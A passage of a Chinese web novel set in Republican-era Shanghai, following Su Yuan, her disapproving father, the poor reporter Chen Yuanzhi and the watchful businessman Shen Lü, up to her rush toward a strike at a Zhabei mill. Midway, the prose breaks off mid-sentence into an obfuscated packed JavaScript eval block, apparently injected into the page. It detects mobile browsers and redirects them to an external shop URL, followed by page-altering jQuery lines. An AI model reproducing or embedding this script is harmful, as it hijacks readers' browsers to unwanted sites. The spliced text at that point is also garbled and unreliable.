车厢里安静了一瞬。
苏父重重放下茶盏，茶盖“哐”地一声响，脸色沉了下来：“什么穷记者？苏家虽不是顶流望族，也还没落魄到把掌上明珠嫁给一介穷书生的地步，那种空有理想、一无所有的小子，你趁早断了念想。”
“……”
苏沅抿紧唇，没有顶嘴。
只是把脸转向车窗外，夜色里霓虹灯牌一掠而过，映在她眼睛里，明明灭灭，藏着没说出口的委屈。。
她想起今天下午，陈远之把锦盒推回她手边时，眼底的固执。
“我不需要施舍。”
其实她懂的。
他不是怪她，他是怪他自己，怪自己出身寒微，怪自己一无所有，怪自己连一份善意，都要当作居高临下的施舍。
——可她宁愿他怪她。
宁愿他冷言冷语，宁愿他横眉竖目，也不想他把她的心意推得千里之外。
马车停在苏公馆门口。
苏父下车时，脚步顿了片刻，朝车夫吩咐：“明早七点，去沈公馆递帖子，约沈先生老地方茶楼见。那批茶叶走航运的事，得趁热打铁定下来。”
车夫应声。
苏沅跟在身后，一言不发，下意识地握紧了手里的手包。
深夜。
苏沅躺在床上，翻来覆去。
帐顶的流苏被夜风撩得一晃一晃，影子投在床幔上，晃得她心烦意乱。
她盯着那影子，像在跟它较劲。
终究是睡不着。
她从枕边摸出锦盒，打开，墨绿色的派克金笔，笔尖还封着没蘸过墨。
她把笔拿出来，握住，笔杆凉凉的，很滑。
恍惚间，她想起陈远之握住她手时的温度，那是今天下午的事吗？还是昨天？她有点记不清了。
他只握了一下，像被烫到似的，立刻松开了，连眼神都不敢与她相接。她那时以为他会说点什么，可他没有。
苏沅轻轻叹了口气，把金笔放回锦盒，缓缓合上盖子，望着窗外发呆。
窗外有风，吹得梧桐叶子沙沙响，扰得人心头更乱。
此刻街角，静静泊着一辆黑色轿车，引擎熄了，车灯没开，像一只蛰伏的孤鸟，悄无声息。
沈律坐在后座，车窗半降，凉风拂过他几缕碎发。
他看的不是梧桐，是二楼那扇亮着灯的窗。
窗帘透出朦胧的光影，能看见一道纤细的人影在帐子里翻来覆去，一会儿坐起，一会儿躺下，隔着距离，看不清脸，但他知道那是谁。
他就那样静静看着，看了很久很久。
久到前排的秦舟，在后视镜里偷偷瞄了他几次，终究还是忍不住开口：“先生，苏小姐是不是身子不适？要不要悄悄请个大夫过来看看？”
“不用。”
沈律的声音很轻，像怕惊动什么。
“她就是睡不着。”
秦舟沉默。
他跟着沈律七年，见过他在谈判桌上咄咄逼人，一句话便定下沉浮。见过他面对码头刺头面不改色，冷血手腕镇住全场。见过他被沈诚当众羞辱私生子的身份，半句不回，转头便吞掉对方两条航运线。
但他没见过他这样。
像一根拉满的弦，绷了十五年，终于找到唯一锚点。哪怕只是这样远远看着，就能稍稍松下心神。
“……先生。”秦舟又开口，这回小心了许多，“陈远之那边，还要盯着吗？”
沈律的视线没有从窗户上移开，眼底的温柔褪去一瞬，只剩冷冽的沉郁。
“查清楚。他最近在跟进什么新闻，跟哪些人打交道，一字不落，报给我。”
顿了顿，他又补充一句，“别让苏小姐知道。”
“是。”秦舟应下。
然后发动车子，缓缓驶离街角。
车轮碾过梧桐落叶，发出极轻的沙沙声，不惊扰半点夜色。
沈律靠在椅背上，闭上眼，手指无意识地摩挲着袖扣，银质的，很素，没有花纹。
袖扣内侧刻着一个超小的字——清。
二楼那扇窗，灯光灭了。
他没有睁眼，嘴角勾了一下。
车子驶进夜色，像来时一样安静。
*
陈远之站在主编办公桌前，已经站了二十分钟。桌上的茶凉了，没人给他添。
主编慢悠悠翻着他递上去的几篇稿件，每翻一页眉头就皱紧一分。
“就这些？”
“……”
陈远之垂在身侧的手微微攥紧，没出声。
主编把稿子往桌上一摔，力道不重，但纸张滑出去，有两页飘落地上。陈远之弯腰去捡，主编没等他捡起来，刻薄的砸来：
“圣约翰新闻系高材生，当年入学成绩全校第一，我亲自去挖你来实习，你就给我看这些？”
陈远之直起身，把稿子放回桌面。
“我会再改。”
“市井新闻、花边消息、某某富商嫁女的流水账。《申报》不缺写流水账的人。缺的是能挖到独家新闻的记者。”
“……我会努力。”
“努力？”主编笑了一声，没看他，“名校毕业也不过如此。”
最后一句话，像一根细针，狠狠扎进陈远之最敏感的自尊里。
陈远之攥紧拳头，什么也没辩解，只转身，出门，带上门的时候动作很轻。
走廊上，同事与他擦肩而过，瞥见他难看的脸色，都识趣地不敢打招呼。
陈远之走回自己的工位，坐下，目光直直落在桌面上早已磨秃的钢笔上。
恍惚间，又想起昨天。
他把那支派克金笔还回去的时候，苏沅眼底亮起的光，是拼命压抑却依然藏不住的期待，被他一句话，硬生生掐灭。
他把那光还给了她。
连同锦盒，字条，和他那该死的、说不出口的自尊，一起推回了她面前。
“……远之？”
同事赵立群探过头来，压低声音满脸同情：“主编又骂你了？你别往心里去，他就这德行，我第一天来还被他骂是野鸡大学混文凭的。”
“……”
陈远之没答，看着窗外。
外滩江面之上，几艘货轮正缓缓靠岸，烟囱冒着滚滚浓烟，像他心头化不开的郁结。
他忽然很想写一个大新闻，大到能堵住所有人的嘴，能让他挺直腰杆站在苏沅面前的大新闻。
*
苏沅这两天心神不宁。她觉得自己脑子里像塞了一团乱麻，理不清，剪不断。
可即便如此，她还是腾出所有心思，悄悄为陈远之
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184896|196988||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
做了一件事。
她爹书房里有本册子，记着苏家这么多年来往的人情。她翻了半宿，找到一个人名。
财政部税务科——周科长。
三年前此人在上海任职时，曾在苏氏绸缎庄定过十二匹织锦缎，父亲不仅货给得实在，还主动抹了零头。
如今他调任南京，手握进出口税务资源，是各大报社记者挤破头都想搭上的线。
苏沅去求她爹。
苏青阳正在算账，头都没抬：“周科长？你打听他干嘛？”
“就有个朋友，做新闻的，想约他做个专访。”
苏青阳抬眼，锐利地扫过她：“男的女的？”
苏沅沉默两秒，小声答：“……男的。”
算盘停了。苏父终于抬起头，盯着她看了足足十秒钟。
“就是那个穷记者？”
“……”
苏沅没否认，也不敢抬头。
苏青阳深吸一口气，看起来很想说点什么，但话到嘴边又咽回去了。他重新低头拨算盘，语气生硬：
“周科长那边，我写封信，你让人送去。成不成看人家给不给面子。”
“……谢谢爹。”
“别谢我。”苏青阳没看她，“谢你娘当年没嫌我穷。”
苏沅抿紧唇，没敢再接话。
信送出去不过三天，周科长的回电便打到了苏公馆：专访可以安排，下周三下午他在上海公干，能挤出半小时。
苏沅挂掉电话，激动的心得快要跳出来。
她抓起手包，连旗袍下摆都没来得及理平，就匆匆叫了黄包车，直奔申报大楼。
她要亲口把这个好消息告诉陈远之，他一定会高兴的。
他那么有才华，只是缺一个机会，缺一个能让他大展拳脚的舞台。
她跑进申报编辑部的时候，气还没喘匀。
“陈远之在吗？”
赵立群从一堆稿纸后头探出脑袋，认出了她：“苏小姐？远之他……”
“他怎么了？”苏沅心一紧。
“他去闸北了。”赵立群挠挠头，“那边纱厂工人罢工，好几百人堵在厂门口，他非要去现场采访。”
“闸北哪里？”
“就兴发纱厂那边，听说乱得很，昨天还有记者被打了——”
话没听完，苏沅已经转身往外冲。
黄包车夫一听闸北兴发纱厂，脸色瞬间绿了，连连摆手：
“小姐，那地方去不得，工人都闹疯了，见车就砸——”
“三倍车钱，现在就走。”
车夫咬咬牙，拉起车就跑。
风把苏沅的鬓发吹得散乱，糊了一脸，她却半点心思都没有去理。满脑子里反反复复，全是赵立群那句“昨天还有记者被打了”。
黄包车在闸北的一条巷口停下，车夫死活不肯再往前：“小姐，前头就是纱厂了，您自个儿当心。”
苏沅扔下钱，拔腿就往巷子里冲。
越往里，人越多，空气里飘着铁锈和汗水的味道，还有若有若无的火药味。
工人们三三两两聚在路边，有人脸上带着伤，有人蹲在墙角抽烟，气氛压抑得吓人。
她四处张望，没看到陈远之。
然后她就听到了拐角处一阵激烈的喧哗。